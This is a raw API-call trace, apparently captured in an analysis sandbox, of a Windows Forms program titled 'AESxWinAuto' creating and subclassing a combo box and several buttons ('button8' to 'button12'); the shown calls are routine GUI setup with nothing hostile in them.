[0064.900] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0064.900] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.900] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.900] GetClassInfoW (in: hInstance=0x0, lpClassName="BUTTON", lpWndClass=0x25fdc80 | out: lpWndClass=0x25fdc80) returned 1 [0064.900] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.900] CoTaskMemAlloc (cb=0x58) returned 0x1bfef8 [0064.900] RegisterClassW (lpWndClass=0x3aea84) returned 0xc1c1 [0064.900] CoTaskMemFree (pv=0x1bfef8) [0064.901] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.901] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="button8", dwStyle=0x5601000b, X=208, Y=125, nWidth=56, nHeight=19, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x1023e [0064.901] SetWindowLongW (hWnd=0x1023e, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.901] GetWindowLongW (hWnd=0x1023e, nIndex=-4) returned 1954854037 [0064.901] SetWindowLongW (hWnd=0x1023e, nIndex=-4, dwNewLong=7342794) returned 1954854037 [0064.901] GetWindowLongW (hWnd=0x1023e, nIndex=-4) returned 7342794 [0064.901] GetWindowLongW (hWnd=0x1023e, nIndex=-16) returned 1174470667 [0064.901] GetWindowLongW (hWnd=0x1023e, nIndex=-12) returned 0 [0064.901] SetWindowLongW (hWnd=0x1023e, nIndex=-12, dwNewLong=66110) returned 0 [0064.901] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.901] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.901] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.901] SendMessageW (hWnd=0x1023e, Msg=0x2055, wParam=0x1023e, lParam=0x3) returned 0x2 [0064.901] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0064.901] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.901] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0064.901] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0064.901] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10238, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0064.901] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x1023c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0064.902] RedrawWindow (hWnd=0x10238, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0064.902] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0064.902] RedrawWindow (hWnd=0x1023e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0064.902] RedrawWindow (hWnd=0x401f0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0064.902] GetWindow (hWnd=0x1023e, uCmd=0x3) returned 0x10238 [0064.902] GetClientRect (in: hWnd=0x1023e, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.902] GetWindowRect (in: hWnd=0x1023e, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.902] GetParent (hWnd=0x1023e) returned 0x401f0 [0064.902] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae384, cPoints=0x2 | out: lpPoints=0x3ae384) returned -20382145 [0064.902] SetWindowTextW (hWnd=0x1023e, lpString="button8") returned 1 [0064.902] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0xc, wParam=0x0, lParam=0x25d2ab8) returned 0x1 [0064.902] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x5, wParam=0x0, lParam=0x130038) returned 0x0 [0064.902] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x3, wParam=0x0, lParam=0x7d00d0) returned 0x0 [0064.902] GetClientRect (in: hWnd=0x1023e, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.902] GetWindowRect (in: hWnd=0x1023e, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.902] GetParent (hWnd=0x1023e) returned 0x401f0 [0064.902] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3dc, cPoints=0x2 | out: lpPoints=0x3ae3dc) returned -20382145 [0064.902] SendMessageW (hWnd=0x1023e, Msg=0x2210, wParam=0x23e0001, lParam=0x1023e) returned 0x0 [0064.902] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x2210, wParam=0x23e0001, lParam=0x1023e) returned 0x0 [0064.902] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1023e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.902] GetParent (hWnd=0x1023e) returned 0x401f0 [0064.902] GetCurrentActCtx (in: lphActCtx=0x3aeb9c | out: lphActCtx=0x3aeb9c*=0x1d16a4) returned 1 [0064.902] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.902] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.903] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1", lpWindowName=0x0, dwStyle=0x56210242, X=89, Y=78, nWidth=92, nHeight=21, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x10240 [0064.903] SetWindowLongW (hWnd=0x10240, nIndex=-4, dwNewLong=1955293152) returned 7342602 [0064.903] GetWindowLongW (hWnd=0x10240, nIndex=-4) returned 1955293152 [0064.903] SetWindowLongW (hWnd=0x10240, nIndex=-4, dwNewLong=7342842) returned 1955293152 [0064.903] GetWindowLongW (hWnd=0x10240, nIndex=-4) returned 7342842 [0064.903] GetWindowLongW (hWnd=0x10240, nIndex=-16) returned 1176568386 [0064.903] GetWindowLongW (hWnd=0x10240, nIndex=-12) returned 0 [0064.903] SetWindowLongW (hWnd=0x10240, nIndex=-12, dwNewLong=66112) returned 0 [0064.903] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x81, wParam=0x0, lParam=0x3ae634) returned 0x1 [0064.903] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x7c, wParam=0xfffffff0, lParam=0x3ae058) returned 0x0 [0064.903] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x7d, wParam=0xfffffff0, lParam=0x3ae058) returned 0xffffffff [0064.903] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x7c, wParam=0xfffffff0, lParam=0x3ae058) returned 0x0 [0064.903] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x7d, wParam=0xfffffff0, lParam=0x3ae058) returned 0xffffffff [0064.904] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x7c, wParam=0xffffffec, lParam=0x3ae058) returned 0x0 [0064.904] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x7d, wParam=0xffffffec, lParam=0x3ae058) returned 0xffffffff [0064.904] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x83, wParam=0x0, lParam=0x3ae620) returned 0x0 [0064.904] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x1, wParam=0x0, lParam=0x3ae634) returned 0x10240 [0064.906] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x210, wParam=0x3e80001, lParam=0x10242) returned 0x1 [0064.906] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x210, wParam=0x3e80001, lParam=0x10242) returned 0x0 [0064.906] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x55, wParam=0x10244, lParam=0x3) returned 0x2 [0064.906] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.906] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x210, wParam=0x3e90001, lParam=0x10244) returned 0x1 [0064.906] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x210, wParam=0x3e90001, lParam=0x10244) returned 0x0 [0064.908] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x46, wParam=0x0, lParam=0x3ae01c) returned 0x1 [0064.908] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x83, wParam=0x1, lParam=0x3adff4) returned 0x0 [0064.909] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x47, wParam=0x0, lParam=0x3ae01c) returned 0x0 [0064.909] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x5, wParam=0x0, lParam=0x18005c) returned 0x0 [0064.909] GetClientRect (in: hWnd=0x10240, lpRect=0x3adc84 | out: lpRect=0x3adc84) returned 1 [0064.909] GetWindowRect (in: hWnd=0x10240, lpRect=0x3adc84 | out: lpRect=0x3adc84) returned 1 [0064.909] GetParent (hWnd=0x10240) returned 0x401f0 [0064.909] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3adc84, cPoints=0x2 | out: lpPoints=0x3adc84) returned -20382145 [0064.909] GetWindowTextLengthW (hWnd=0x10240) returned 0 [0064.909] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0064.909] GetSystemMetrics (nIndex=42) returned 0 [0064.909] GetWindowTextW (in: hWnd=0x10240, lpString=0x3adb08, nMaxCount=1 | out: lpString="") returned 0 [0064.909] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0xd, wParam=0x1, lParam=0x3adb08) returned 0x0 [0064.910] GetParent (hWnd=0x10240) returned 0x401f0 [0064.911] GetWindow (hWnd=0x10240, uCmd=0x3) returned 0x1023e [0064.911] GetClientRect (in: hWnd=0x10240, lpRect=0x3ae284 | out: lpRect=0x3ae284) returned 1 [0064.911] GetWindowRect (in: hWnd=0x10240, lpRect=0x3ae284 | out: lpRect=0x3ae284) returned 1 [0064.911] GetParent (hWnd=0x10240) returned 0x401f0 [0064.911] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae284, cPoints=0x2 | out: lpPoints=0x3ae284) returned -20382145 [0064.911] SendMessageW (hWnd=0x10240, Msg=0x30, wParam=0x2f0a0257, lParam=0x0) returned 0x1 [0064.911] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x30, wParam=0x2f0a0257, lParam=0x0) returned 0x1 [0064.914] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x46, wParam=0x0, lParam=0x3adc04) returned 0x1 [0064.914] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x83, wParam=0x1, lParam=0x3adbdc) returned 0x0 [0064.916] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x47, wParam=0x0, lParam=0x3adc04) returned 0x0 [0064.916] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x5, wParam=0x0, lParam=0x15005c) returned 0x0 [0064.916] GetClientRect (in: hWnd=0x10240, lpRect=0x3ad86c | out: lpRect=0x3ad86c) returned 1 [0064.916] GetWindowRect (in: hWnd=0x10240, lpRect=0x3ad86c | out: lpRect=0x3ad86c) returned 1 [0064.916] GetParent (hWnd=0x10240) returned 0x401f0 [0064.916] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ad86c, cPoints=0x2 | out: lpPoints=0x3ad86c) returned -20382145 [0064.916] GetWindowTextLengthW (hWnd=0x10240) returned 0 [0064.916] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0064.916] GetSystemMetrics (nIndex=42) returned 0 [0064.916] GetWindowTextW (in: hWnd=0x10240, lpString=0x3ad6f0, nMaxCount=1 | out: lpString="") returned 0 [0064.916] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0xd, wParam=0x1, lParam=0x3ad6f0) returned 0x0 [0064.916] GetParent (hWnd=0x10240) returned 0x401f0 [0064.918] GetWindow (hWnd=0x10240, uCmd=0x5) returned 0x10244 [0064.918] GetWindowLongW (hWnd=0x10244, nIndex=-4) returned 1954716112 [0064.918] SetWindowLongW (hWnd=0x10244, nIndex=-4, dwNewLong=7342890) returned 1954716112 [0064.918] GetWindowLongW (hWnd=0x10244, nIndex=-4) returned 7342890 [0064.918] GetWindowLongW (hWnd=0x10244, nIndex=-16) returned 1342178176 [0064.918] GetWindowLongW (hWnd=0x10244, nIndex=-12) returned 1001 [0064.918] SendMessageW (hWnd=0x10244, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0064.918] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x10244, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0064.919] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x5, wParam=0x0, lParam=0x15005c) returned 0x0 [0064.919] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x3, wParam=0x0, lParam=0x4e0059) returned 0x0 [0064.919] GetClientRect (in: hWnd=0x10240, lpRect=0x3ae2dc | out: lpRect=0x3ae2dc) returned 1 [0064.919] GetWindowRect (in: hWnd=0x10240, lpRect=0x3ae2dc | out: lpRect=0x3ae2dc) returned 1 [0064.919] GetParent (hWnd=0x10240) returned 0x401f0 [0064.919] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae2dc, cPoints=0x2 | out: lpPoints=0x3ae2dc) returned -20382145 [0064.919] SendMessageW (hWnd=0x10240, Msg=0x2210, wParam=0x2400001, lParam=0x10240) returned 0x0 [0064.919] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x2210, wParam=0x2400001, lParam=0x10240) returned 0x0 [0064.919] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.919] GetParent (hWnd=0x10240) returned 0x401f0 [0064.919] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0064.919] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0064.919] GetSystemMetrics (nIndex=42) returned 0 [0064.919] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3aeab8, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0064.919] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3aeab8) returned 0xb [0064.919] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.919] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.919] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.919] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="button9", dwStyle=0x5601000b, X=146, Y=72, nWidth=56, nHeight=19, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x10246 [0064.919] SetWindowLongW (hWnd=0x10246, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.919] GetWindowLongW (hWnd=0x10246, nIndex=-4) returned 1954854037 [0064.920] SetWindowLongW (hWnd=0x10246, nIndex=-4, dwNewLong=7386050) returned 1954854037 [0064.920] GetWindowLongW (hWnd=0x10246, nIndex=-4) returned 7386050 [0064.920] GetWindowLongW (hWnd=0x10246, nIndex=-16) returned 1174470667 [0064.920] GetWindowLongW (hWnd=0x10246, nIndex=-12) returned 0 [0064.920] SetWindowLongW (hWnd=0x10246, nIndex=-12, dwNewLong=66118) returned 0 [0064.920] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.920] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.920] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.920] SendMessageW (hWnd=0x10246, Msg=0x2055, wParam=0x10246, lParam=0x3) returned 0x2 [0064.921] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.921] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.921] GetWindow (hWnd=0x10246, uCmd=0x3) returned 0x10240 [0064.921] GetClientRect (in: hWnd=0x10246, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.921] GetWindowRect (in: hWnd=0x10246, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.921] GetParent (hWnd=0x10246) returned 0x401f0 [0064.921] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae384, cPoints=0x2 | out: lpPoints=0x3ae384) returned -20382145 [0064.921] SetWindowTextW (hWnd=0x10246, lpString="button9") returned 1 [0064.921] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0xc, wParam=0x0, lParam=0x25d2bfc) returned 0x1 [0064.921] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x5, wParam=0x0, lParam=0x130038) returned 0x0 [0064.921] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x3, wParam=0x0, lParam=0x480092) returned 0x0 [0064.921] GetClientRect (in: hWnd=0x10246, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.921] GetWindowRect (in: hWnd=0x10246, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.921] GetParent (hWnd=0x10246) returned 0x401f0 [0064.921] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3dc, cPoints=0x2 | out: lpPoints=0x3ae3dc) returned -20382145 [0064.921] SendMessageW (hWnd=0x10246, Msg=0x2210, wParam=0x2460001, lParam=0x10246) returned 0x0 [0064.921] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x2210, wParam=0x2460001, lParam=0x10246) returned 0x0 [0064.921] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10246, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.921] GetParent (hWnd=0x10246) returned 0x401f0 [0064.921] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.921] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.921] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.921] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="button10", dwStyle=0x5601000b, X=72, Y=54, nWidth=56, nHeight=19, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x10248 [0064.921] SetWindowLongW (hWnd=0x10248, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.922] GetWindowLongW (hWnd=0x10248, nIndex=-4) returned 1954854037 [0064.922] SetWindowLongW (hWnd=0x10248, nIndex=-4, dwNewLong=7386122) returned 1954854037 [0064.922] GetWindowLongW (hWnd=0x10248, nIndex=-4) returned 7386122 [0064.922] GetWindowLongW (hWnd=0x10248, nIndex=-16) returned 1174470667 [0064.922] GetWindowLongW (hWnd=0x10248, nIndex=-12) returned 0 [0064.922] SetWindowLongW (hWnd=0x10248, nIndex=-12, dwNewLong=66120) returned 0 [0064.922] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.922] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.922] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.922] SendMessageW (hWnd=0x10248, Msg=0x2055, wParam=0x10248, lParam=0x3) returned 0x2 [0064.922] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.922] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.922] GetWindow (hWnd=0x10248, uCmd=0x3) returned 0x10246 [0064.922] GetClientRect (in: hWnd=0x10248, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.922] GetWindowRect (in: hWnd=0x10248, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.922] GetParent (hWnd=0x10248) returned 0x401f0 [0064.922] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae384, cPoints=0x2 | out: lpPoints=0x3ae384) returned -20382145 [0064.922] SetWindowTextW (hWnd=0x10248, lpString="button10") returned 1 [0064.922] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0xc, wParam=0x0, lParam=0x25d2cc0) returned 0x1 [0064.922] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x5, wParam=0x0, lParam=0x130038) returned 0x0 [0064.923] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x3, wParam=0x0, lParam=0x360048) returned 0x0 [0064.923] GetClientRect (in: hWnd=0x10248, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.923] GetWindowRect (in: hWnd=0x10248, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.923] GetParent (hWnd=0x10248) returned 0x401f0 [0064.923] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3dc, cPoints=0x2 | out: lpPoints=0x3ae3dc) returned -20382145 [0064.923] SendMessageW (hWnd=0x10248, Msg=0x2210, wParam=0x2480001, lParam=0x10248) returned 0x0 [0064.923] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x2210, wParam=0x2480001, lParam=0x10248) returned 0x0 [0064.923] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x10248, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.923] GetParent (hWnd=0x10248) returned 0x401f0 [0064.923] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.923] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.923] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.923] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="button11", dwStyle=0x5601000b, X=158, Y=80, nWidth=56, nHeight=19, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x1024a [0064.923] SetWindowLongW (hWnd=0x1024a, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.923] GetWindowLongW (hWnd=0x1024a, nIndex=-4) returned 1954854037 [0064.923] SetWindowLongW (hWnd=0x1024a, nIndex=-4, dwNewLong=7386170) returned 1954854037 [0064.923] GetWindowLongW (hWnd=0x1024a, nIndex=-4) returned 7386170 [0064.923] GetWindowLongW (hWnd=0x1024a, nIndex=-16) returned 1174470667 [0064.923] GetWindowLongW (hWnd=0x1024a, nIndex=-12) returned 0 [0064.923] SetWindowLongW (hWnd=0x1024a, nIndex=-12, dwNewLong=66122) returned 0 [0064.923] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.923] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.924] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.924] SendMessageW (hWnd=0x1024a, Msg=0x2055, wParam=0x1024a, lParam=0x3) returned 0x2 [0064.924] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.924] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.924] GetWindow (hWnd=0x1024a, uCmd=0x3) returned 0x10248 [0064.924] GetClientRect (in: hWnd=0x1024a, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.924] GetWindowRect (in: hWnd=0x1024a, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.924] GetParent (hWnd=0x1024a) returned 0x401f0 [0064.924] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae384, cPoints=0x2 | out: lpPoints=0x3ae384) returned -20382145 [0064.924] SetWindowTextW (hWnd=0x1024a, lpString="button11") returned 1 [0064.924] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0xc, wParam=0x0, lParam=0x25d2d88) returned 0x1 [0064.924] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x5, wParam=0x0, lParam=0x130038) returned 0x0 [0064.924] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x3, wParam=0x0, lParam=0x50009e) returned 0x0 [0064.924] GetClientRect (in: hWnd=0x1024a, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.924] GetWindowRect (in: hWnd=0x1024a, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.924] GetParent (hWnd=0x1024a) returned 0x401f0 [0064.924] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3dc, cPoints=0x2 | out: lpPoints=0x3ae3dc) returned -20382145 [0064.924] SendMessageW (hWnd=0x1024a, Msg=0x2210, wParam=0x24a0001, lParam=0x1024a) returned 0x0 [0064.924] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x2210, wParam=0x24a0001, lParam=0x1024a) returned 0x0 [0064.924] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1024a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.924] GetParent (hWnd=0x1024a) returned 0x401f0 [0064.924] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.925] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.925] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.925] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="button12", dwStyle=0x5601000b, X=98, Y=90, nWidth=56, nHeight=19, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x1024c [0064.925] SetWindowLongW (hWnd=0x1024c, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.925] GetWindowLongW (hWnd=0x1024c, nIndex=-4) returned 1954854037 [0064.925] SetWindowLongW (hWnd=0x1024c, nIndex=-4, dwNewLong=7386218) returned 1954854037 [0064.925] GetWindowLongW (hWnd=0x1024c, nIndex=-4) returned 7386218 [0064.925] GetWindowLongW (hWnd=0x1024c, nIndex=-16) returned 1174470667 [0064.925] GetWindowLongW (hWnd=0x1024c, nIndex=-12) returned 0 [0064.925] SetWindowLongW (hWnd=0x1024c, nIndex=-12, dwNewLong=66124) returned 0 [0064.925] 